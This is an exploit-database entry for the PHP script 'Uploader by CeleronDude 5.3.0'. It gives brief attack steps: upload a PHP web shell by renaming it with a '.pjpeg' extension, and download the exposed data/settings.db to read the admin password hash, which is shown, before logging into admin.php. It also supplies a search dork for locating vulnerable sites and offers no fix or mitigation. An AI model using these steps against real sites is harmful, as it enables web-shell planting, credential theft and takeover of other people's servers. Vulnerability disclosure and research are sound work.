Uploader by CeleronDude 5.3.0 - Arbitrary File Upload (2)
Author: Stink'
type: webapps
platform: php
port:
date_added: 2010-01-16
date_updated:
verified: 1
codes:
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.comuploaderv5.3.zip
#############################
Uploader by CeleronDude 5.3.0 - Upload Vulnerability
Discovered by : Stink'
Date : 2009-12-17 for upload. 2010-01-17 for Settings.db retrieve password.
Dork : "Uploader by CeleronDude."
Website Publisher : <a href="http://www.celerondude.com/php-uploader-v5">http://www.celerondude.com/php-uploader-v5</a>
#############################
-- [Upload Vulnerability] --
Rename your shell.php in shell.php.pjpeg and Upload !
-- [Retrieve Password] --
Go to : http://site.com/[path]/data/settings.db
"admin_password";s:32:"468f7b0aaba9a806a0ce5bc4d4482164"
and go http://site.com/[path]/admin.php :)